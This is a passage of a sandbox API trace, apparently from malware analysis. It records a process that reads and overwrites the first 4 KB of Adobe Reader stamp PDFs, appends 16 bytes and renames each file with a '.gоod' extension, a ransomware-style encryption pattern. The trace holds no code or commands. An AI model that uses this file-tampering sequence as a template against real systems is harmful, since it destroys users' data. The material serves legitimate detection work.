nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0105.460] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a2c0) returned 1 [0105.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a280) returned 1 [0105.460] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf", nBufferLength=0x105, lpBuffer=0x1f359c60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf", lpFilePart=0x0) returned 0x61 [0105.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a130) returned 1 [0105.460] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), fInfoLevelId=0x0, lpFileInformation=0x3586090 | out: lpFileInformation=0x3586090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xdf82)) returned 1 [0105.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a0f0) returned 1 [0105.974] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf", nBufferLength=0x105, lpBuffer=0x1f359b10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf", lpFilePart=0x0) returned 0x61 [0105.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a030) returned 1 [0105.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0105.975] GetFileType (hFile=0x20c) returned 0x1 [0105.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f359fa0) returned 1 [0105.975] GetFileType (hFile=0x20c) returned 0x1 [0105.975] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35a188*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35a188*=0) returned 0x1000 [0105.975] ReadFile (in: hFile=0x20c, lpBuffer=0x33d7570, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35a158, lpOverlapped=0x0 | out: lpBuffer=0x33d7570*, lpNumberOfBytesRead=0x1f35a158*=0x1000, lpOverlapped=0x0) returned 1 [0105.976] CloseHandle (hObject=0x20c) returned 1 [0105.977] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf", nBufferLength=0x105, lpBuffer=0x1f359b10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf", lpFilePart=0x0) returned 0x61 [0105.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a030) returned 1 [0105.977] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0105.977] GetFileType (hFile=0x20c) returned 0x1 [0105.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f359fa0) returned 1 [0105.977] GetFileType (hFile=0x20c) returned 0x1 [0105.977] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35a188*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35a188*=0) returned 0xdf82 [0105.977] WriteFile (in: hFile=0x20c, lpBuffer=0x33d88d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35a078, lpOverlapped=0x0 | out: lpBuffer=0x33d88d0*, lpNumberOfBytesWritten=0x1f35a078*=0x10, lpOverlapped=0x0) returned 1 [0105.978] CloseHandle (hObject=0x20c) returned 1 [0105.978] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf", nBufferLength=0x105, lpBuffer=0x1f359b10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf", lpFilePart=0x0) returned 0x61 [0105.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a030) returned 1 [0105.978] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0105.978] GetFileType (hFile=0x20c) returned 0x1 [0105.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f359fa0) returned 1 [0105.978] GetFileType (hFile=0x20c) returned 0x1 [0105.978] ReadFile (in: hFile=0x20c, lpBuffer=0x33dac68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35a108, lpOverlapped=0x0 | out: lpBuffer=0x33dac68*, lpNumberOfBytesRead=0x1f35a108*=0x1000, lpOverlapped=0x0) returned 1 [0106.006] CloseHandle (hObject=0x20c) returned 1 [0106.006] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf", nBufferLength=0x105, lpBuffer=0x1f359b10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf", lpFilePart=0x0) returned 0x61 [0106.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a030) returned 1 [0106.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0106.007] GetFileType (hFile=0x20c) returned 0x1 [0106.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f359fa0) returned 1 [0106.007] GetFileType (hFile=0x20c) returned 0x1 [0106.007] WriteFile (in: hFile=0x20c, lpBuffer=0x33d9990*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35a1b8, lpOverlapped=0x0 | out: lpBuffer=0x33d9990*, lpNumberOfBytesWritten=0x1f35a1b8*=0x1010, lpOverlapped=0x0) returned 1 [0106.007] CloseHandle (hObject=0x20c) returned 1 [0106.007] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf", nBufferLength=0x105, lpBuffer=0x1f359c60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf", lpFilePart=0x0) returned 0x61 [0106.007] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f359c60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf.gоod", lpFilePart=0x0) returned 0x66 [0106.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a0f0) returned 1 [0106.007] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f35a1d0 | out: lpFileInformation=0x1f35a1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3b659f74, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdf92)) returned 1 [0106.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a0b0) returned 1 [0106.007] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf.gоod")) returned 1 [0106.008] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf", nBufferLength=0x105, lpBuffer=0x1f359c60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf", lpFilePart=0x0) returned 0x62 [0106.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a130) returned 1 [0106.008] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), fInfoLevelId=0x0, lpFileInformation=0x3458288 | out: lpFileInformation=0x3458288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9f16)) returned 1 [0106.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a0f0) returned 1 [0106.008] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf", nBufferLength=0x105, lpBuffer=0x1f359b10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf", lpFilePart=0x0) returned 0x62 [0106.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a030) returned 1 [0106.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0106.009] GetFileType (hFile=0x20c) returned 0x1 [0106.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f359fa0) returned 1 [0106.009] GetFileType (hFile=0x20c) returned 0x1 [0106.009] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35a188*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35a188*=0) returned 0x1000 [0106.009] ReadFile (in: hFile=0x20c, lpBuffer=0x3458710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35a158, lpOverlapped=0x0 | out: lpBuffer=0x3458710*, lpNumberOfBytesRead=0x1f35a158*=0x1000, lpOverlapped=0x0) returned 1 [0106.312] CloseHandle (hObject=0x20c) returned 1 [0106.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf", nBufferLength=0x105, lpBuffer=0x1f359b10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf", lpFilePart=0x0) returned 0x62 [0106.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a030) returned 1 [0106.384] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0106.384] GetFileType (hFile=0x7c8) returned 0x1 [0106.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f359fa0) returned 1 [0106.384] GetFileType (hFile=0x7c8) returned 0x1 [0106.384] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35a188*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35a188*=0) returned 0x9f16 [0106.384] WriteFile (in: hFile=0x7c8, lpBuffer=0x36a0020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35a078, lpOverlapped=0x0 | out: lpBuffer=0x36a0020*, lpNumberOfBytesWritten=0x1f35a078*=0x10, lpOverlapped=0x0) returned 1 [0106.385] CloseHandle (hObject=0x7c8) returned 1 [0106.385] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf", nBufferLength=0x105, lpBuffer=0x1f359b10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf", lpFilePart=0x0) returned 0x62 [0106.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a030) returned 1 [0106.385] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0106.386] GetFileType (hFile=0x7c8) returned 0x1 [0106.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f359fa0) returned 1 [0106.386] GetFileType (hFile=0x7c8) returned 0x1 [0106.386] ReadFile (in: hFile=0x7c8, lpBuffer=0x36a2318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35a108, lpOverlapped=0x0 | out: lpBuffer=0x36a2318*, lpNumberOfBytesRead=0x1f35a108*=0x1000, lpOverlapped=0x0) returned 1 [0106.481] CloseHandle (hObject=0x7c8) returned 1 [0106.482] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf", nBufferLength=0x105, lpBuffer=0x1f359b10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf", lpFilePart=0x0) returned 0x62 [0106.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a030) returned 1 [0106.482] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0106.483] GetFileType (hFile=0x7c8) returned 0x1 [0106.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f359fa0) returned 1 [0106.483] GetFileType (hFile=0x7c8) returned 0x1 [0106.483] WriteFile (in: hFile=0x7c8, lpBuffer=0x36a1038*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35a1b8, lpOverlapped=0x0 | out: lpBuffer=0x36a1038*, lpNumberOfBytesWritten=0x1f35a1b8*=0x1010, lpOverlapped=0x0) returned 1 [0106.484] CloseHandle (hObject=0x7c8) returned 1 [0106.484] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf", nBufferLength=0x105, lpBuffer=0x1f359c60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf", lpFilePart=0x0) returned 0x62 [0106.484] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f359c60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf.gоod", lpFilePart=0x0) returned 0x67 [0106.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a0f0) returned 1 [0106.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f35a1d0 | out: lpFileInformation=0x1f35a1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3baf88c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9f26)) returned 1 [0106.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a0b0) returned 1 [0106.485] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf.gоod")) returned 1 [0106.614] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf", nBufferLength=0x105, lpBuffer=0x1f359c60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf", lpFilePart=0x0) returned 0x6a [0106.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a130) returned 1 [0106.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), fInfoLevelId=0x0, lpFileInformation=0x34843d0 | out: lpFileInformation=0x34843d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db)) returned 1 [0106.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a0f0) returned 1 [0106.614] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf", nBufferLength=0x105, lpBuffer=0x1f359b10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf", lpFilePart=0x0) returned 0x6a [0106.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a030) returned 1 [0106.614] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0106.614] GetFileType (hFile=0x7c8) returned 0x1 [0106.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f359fa0) returned 1 [0106.614] GetFileType (hFile=0x7c8) returned 0x1 [0106.614] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35a188*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35a188*=0) returned 0x1000 [0106.615] ReadFile (in: hFile=0x7c8, lpBuffer=0x3484898, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35a158, lpOverlapped=0x0 | out: lpBuffer=0x3484898*, lpNumberOfBytesRead=0x1f35a158*=0x1000, lpOverlapped=0x0) returned 1 [0106.616] CloseHandle (hObject=0x7c8) returned 1 [0106.616] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf", nBufferLength=0x105, lpBuffer=0x1f359b10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf", lpFilePart=0x0) returned 0x6a [0106.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a030) returned 1 [0106.616] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0106.616] GetFileType (hFile=0x7c8) returned 0x1 [0106.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f359fa0) returned 1 [0106.616] GetFileType (hFile=0x7c8) returned 0x1 [0106.616] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35a188*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35a188*=0) returned 0x1a8db [0106.616] WriteFile (in: hFile=0x7c8, lpBuffer=0x3485b88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35a078, lpOverlapped=0x0 | out: lpBuffer=0x3485b88*, lpNumberOfBytesWritten=0x1f35a078*=0x10, lpOverlapped=0x0) returned 1 [0106.617] CloseHandle (hObject=0x7c8) returned 1 [0106.617] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf", nBufferLength=0x105, lpBuffer=0x1f359b10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf", lpFilePart=0x0) returned 0x6a [0106.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a030) returned 1 [0106.617] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0106.617] GetFileType (hFile=0x7c8) returned 0x1 [0106.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f359fa0) returned 1 [0106.617] GetFileType (hFile=0x7c8) returned 0x1 [0106.617] ReadFile (in: hFile=0x7c8, lpBuffer=0x3487ea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35a108, lpOverlapped=0x0 | out: lpBuffer=0x3487ea0*, lpNumberOfBytesRead=0x1f35a108*=0x1000, lpOverlapped=0x0) returned 1 [0106.646] CloseHandle (hObject=0x7c8) returned 1 [0106.646] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf", nBufferLength=0x105, lpBuffer=0x1f359b10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf", lpFilePart=0x0) returned 0x6a [0106.646] SetThreadErrorMode 